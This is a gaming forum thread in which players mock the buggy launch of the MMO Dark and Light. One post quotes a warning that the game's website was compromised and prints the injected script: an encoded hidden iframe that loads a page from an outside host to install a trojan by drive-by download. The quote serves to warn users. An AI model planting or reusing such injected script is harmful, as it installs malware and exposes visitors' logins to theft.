Dark & Light launched... anyone playing?

[Akkori]

I haven't tried yet. I learned my lesson about trying to play on launch days. The only thing I know so far is that after the initial $45 or so fee to join, you dont have to pay to play. They have a system where you get 15 credits a month to buy stuff, and there is no fee. Its supposedly good to go until you get to level 30 or so.

[schild]

Meh, might as well send a press request and torture myself. It's been a while since I MMOG'd drunk and angry.

[Soukyan]

I received an email from them about the release, but I didn't bother trying. Their web site has always been really poorly designed and implemented and I have this hunch that the game might be as well, so I don't even know that I'll give them any money at all... but we all know I am weak when it comes to these things. I mean sled-riding on a shield!

[stray]

From everything I've heard, it sounds like it has more technical deficiencies than WW2OL and Shadowbane.

I'm so there!


No, no, no. Scratch that. I won't hate. I'm kind of interested in what anyone has to say about the gameplay at least. If only because it caters to Explorers a bit.

[Akkori]

IF they ever meet the expectations they set up for this game... IF .... then this will eb a game for everyone except *maybe* hardcore PvP'ers. Let me just say that I WILL sign up for the "free" subscription, just so I can participate in 3D flight with my dragon!

[sarius]

As we found out, Pioneer accounts that actually pay money don't work.  Just log on with previous information, supposedly.  I'm downloading the client today and will check it out tonight.

[Signe]

I tried the freebie SoG (it was DnL beta, that's all) and it was total rubbish.  It sounds like DnL release is total rubbish, too. 

[HaemishM]

From what I've heard, they had trouble keeping the server alive with 1000 people on. Unless someone tells me otherwise, I just assume it's complete ass and move on.

[Signe]

The last time I played, only 3 hotkeys worked.  Luckily the "log out" option was not affected.

[WindupAtheist]

Yeah, look, this site may be thick with MMO players, but does anyone really need to play this?  The chances of it being good are essentially nil.

[Venkman]

The only thing that interests me is the Bigworld middleware server system they used for it. I'm still a fan of not requiring every game be coded from binary on up. DnL is not going to prove nor disprove the viability of the part of Bigworld it uses, nor the concept of middleware altogether of course.

I'll check it out at some point. For games that I don't care about though, I generally wait four or five months after launch. If there's enough people playing, they'll fix it all up. If not, well...

Oh, and it's $54 now. The price has gone up! Huge success!11/1 (j/k, it was probably 54 all along?)

[Sairon]

After reading some on the official forums it seems that this games deserves none of my money. Not only does it seem to suffer from being buggy, but also totaly lacking content. Tons of stuff promised not in etc.

[Soukyan]

Looking at the options available to a Freedom card account (the one with no monthly fee and purchasable access credits), it seems to me they should rethink the name. It bestows anything but freedom upon the character... and I'm already free to spend my money as I choose so, how about Impossible Account?

[Soln]

The only thing that interests me is the Bigworld middleware server system they used for it. I'm still a fan of not requiring every game be coded from binary on up. DnL is not going to prove nor disprove the viability of the part of Bigworld it uses, nor the concept of middleware altogether of course.

I'll check it out at some point. For games that I don't care about though, I generally wait four or five months after launch. If there's enough people playing, they'll fix it all up. If not, well...

Oh, and it's $54 now. The price has gone up! Huge success!11/1 (j/k, it was probably 54 all along?)

you sure about the Bigworld hosting?  At any rate, Signe giving a solid No gives me serious pause. 

[Righ]

This is the new Horizons, but without the half-finished bits. They could build a cathedral to virtual worlds with all their promises and intentions. Their game however, is like one of those open source software projects that is run by a control freak with too much ambition and not enough time or talent. The only reason it gets beyond version 0.1 is because the diff to version 0.2 is the version number and a fixed typo.

[Signe]

They might not even make it to becoming the new Horizons... they may only get as far as becoming the new Mourning.  Pity, their overview of features makes you really want to play.  All sorts of travel options... I tried dragons, and it was pretty cool but then I tried the snowboard and it was terrible, although it looked great in a video I saw... weather that affects travel, combat, etc, interesting playable races, etc.  The feature overview is the new Horizons bit, really.  The Mourning bit is that they seem to have actually had the audacity to take money and release a game that is obviously intended to be vapourware.

[sarius]

They might not even make it to becoming the new Horizons... they may only get as far as becoming the new Mourning.  Pity, their overview of features makes you really want to play.  All sorts of travel options... I tried dragons, and it was pretty cool but then I tried the snowboard and it was terrible, although it looked great in a video I saw... weather that affects travel, combat, etc, interesting playable races, etc.  The feature overview is the new Horizons bit, really.  The Mourning bit is that they seem to have actually had the audacity to take money and release a game that is obviously intended to be vapourware.

It is somewhat irritating that each of the races had basically no differences in individuals.  Each human, each elf, each whatever essentially looked the same as all the rest.

Well, as long as the time for a Pioneer account is good I'll finish trying it, but SoG experiences lend about jack to any hope of an enjoyable game.

[Righ]

Pioneer account

 

Weren't you the chap who professed to have a dozen SW:G accounts too?

[sarius]

Pioneer account

 

Weren't you the chap who professed to have a dozen SW:G accounts too?

/yawn

[schild]

Yeah, look, this site may be thick with MMO players, but does anyone really need to play this? The chances of it being good are essentially nil.

That covers just about 99% of the market, yet I think there are more than 2 games with active players on f13. Why? I don't know. And they sure are talked about a lot.

[sarius]

Logged in upon arriving home.  Controls are still ass.  Animations are ass.  FF6 was more enjoyable. /sigh

[schild]

Comparing it to FF6 isn't even reasonable. It's like comparing Top Spin to Super Mario Brothers.

Was AO more enjoyable? They seem to have similar launches.

[Tale]

you sure about the Bigworld hosting?

Bigworld is not hosting, it is licensed technology used on D&L's servers. As far as I can tell, this is its first outing, at least in a western MMOG, after years of pimping at trade shows and so on. It all came out of Micro Forte's Citizen Zero, a MMOG that was never released despite years of development time (supposedly it's still coming, and the CZ official forums are still going, despite the fanbois growing up and having families - I saw one respond to another "nice to see an old timer back on the forums"). I posted a bit more Bigworld/CZ stuff in the Corpnews thread last week.

Was AO more enjoyable? They seem to have similar launches.

I was in late AO beta and played at launch - main problem with AO was you got disconnected/crashed every 30 minutes or less. It was a zone-based game but most of the time you couldn't cross zone lines due to server problems. It had mission-based gameplay where most missions were bugged and mobs could hit you through walls. It got worse before it got better, by which time most people left.

[much later edit] Funcom just got around to fixing a bug in their 1999 game The Longest Journey :) Wonderfully imaginative company, and AO had great atmosphere and a top-notch sci-fi plot, but there's just that quality control thing ...

[schild]

Stargate worlds uses Bigworld also. Apparently it can be reasonably powerful. But meh. Budget programs make budget crap games in the hands of unimaginative developers.

[LC]

I logged into the stress test on the second or third day. I was getting around 4fps in town, and 8fps in the wilderness. Some guy with a GeForce 7900 GTX was whining in chat about how he could only manage 18fps. The server was really laggy, and eventually it crashed from the load. But not before I died to a monster that was running in place a few hundred feet away from my character.  After that my character became corrupted, and could no longer equip items or move around. Someone told me that this was pretty common, and all I needed to do was make a new character.

Pretty much everything in Dark and Light seems to be stolen. They didn't stop at just stealing technology and ideas either. Even their Terms of Service were stolen. They are also violating the GPL by using rsync without providing the source or a copy of the license.

[Cyrrex]

I played a bit of the SOG stuff about six months ago or whatever...well, played isn't the right word.  It was more like fly-around-on-dragon-and-admire-the-draw-distance.  That was literally the only appeal it had at the time, and the feeling would be gone 5 minutes later.  Out of curiosity, I went over to the DnL forums just a while ago, and the same stuff that was being posted six months ago is still being posted today.  The fanboys are still singing their praises without actually being able to point at anything positive about the game.  The haters are still hating, for all the same reasons they were before.  It doesn't sound like anything has changed at all, which is all the reason anyone needs to stay far, far away from this game.

Good things about DnL:  the draw distance

Everything else would fall into the "bad things" category.

[Akkori]

Draw distance AND 3D flight both rock.

[Righ]

Even their Terms of Service were stolen.

I'm sure that somebody at SOE would be pretty annoyed by that if they could stop laughing long enough.

[Soln]

that's a lawyering, right there

of course, they could've used the same template conceivably somehow from the same law firm, or lawyer, SOE used for that.

but since it's off the SOE website, seems more likely they just copy-pasted.

Wow, jaw droppingly dumb. 

Someone ping Smed.

[Signe]

Could things get worse for this company? 

Sure they can.

Trojan infecting www.darkandlight.net
Juste a message to prevent risks :

Actually, www.darkandlight.net is infected by a malicious code, that permits a trojan to be installed on your machines.

Code:

<SCRIPT> s=unescape("%3Ciframe%20src%3D%22http%3A//www.legitworks.com/go.php%22%20WIDTH%3D%220%25%22%20HEIGHT%3D%2 20%25%22%20MARGINHEIGHT%3D%220%22%20MARGINWIDTH%3D %220%22%20SCROLLING%3D%22auto%22%20frameborder%3D% 220%22%20NORESIZE%3E%3C/iframe%3E");document.writeln(s);document.close(); </SCRIPT>



The problem was reported several hours ago, but is still there.

It is included into the HTML code.

You can see the detection of the trojan malicious code by an antivirus :
http://www.sirsoft.info/virus.jpg

Quote:
Websense Security Labs is seeing large increases in drive-by installations of malicious code that is hosted on websites that are using the Web Attacker Toolkit. When a user visits one of the nearly 1000 sites that are being used to run code without user intervention, a Trojan Horse is downloaded and run. It can log keystrokes, download additional code, or open backdoors on the user's machine.


http://www.websense.com/securitylab...php?AlertID=472

Please : be extremly cautious if you went on the official website without any antivirus, or spyware protection.

This malicious code could compromise your personal datas, such as login/passwords, as it could install a keylogger.

http://www.darkandlight.net/forums/showthread.php?t=64298&page=1&pp=20

[schild]

Lol.

[Soln]

can a company commit suicide?

for this to happen, the virus would have to made its way to (protected) prod boxes, that shouldn't have open HTTP.  Any Ops folks wanna chime in?

This malicious code could compromise your personal datas, such as login/passwords, as it could install a keylogger.

jesus couldn't CERT fine them for not dealing with that?

[voblat]

The moderators relpy in that thread of
'thanks for posting, I was just looking to address this issue' is pure gold.


That forum is just oozing  comedic value.

Not least the guy who won a lifetime free account and has left already.

[Trippy]

for this to happen, the virus would have to made its way to (protected) prod boxes, that shouldn't have open HTTP.  Any Ops folks wanna chime in?

It's the Web site that's (apparently) been compromised not the game server(s).

This malicious code could compromise your personal datas, such as login/passwords, as it could install a keylogger.

jesus couldn't CERT fine them for not dealing with that?

No. CERT is not a law enforcement agency.

[Signe]

Sort of an interest bug patched in with the latest update. 

It seems that with the new patch, came a new bug!
Now some people seem to get negative FPS.
(original thread: http://forums.jeuxonline.info/showthread.php?t=685328 , google it for a translation)

What does that mean?
It means that because the lack of synchro between the real framerate and the one calculated, some characters cover great distances in but a few seconds.
The original poster in the above thread says that the distance he can cover in three seconds while running can vary between 10 to 100 meters.

Another guy tells us how he was hanggliding when all of a sudden he litteraly "warped" to the other half of the dark kingdom, crashed to the ground, rolled on the floor over a distance of 2 to 3 kilometers, then rolled over the side of a moutain, reached the top and litterally got ejected to the other side.

The question is: why have they modified this "fps" setting?
Are they trying to hide the real FPS behind a false number?

Who knows?
But there's one thing that 's almost certain: Vuarr must be Inspector Clouseau's hidden twin brother.

Sorry about the source.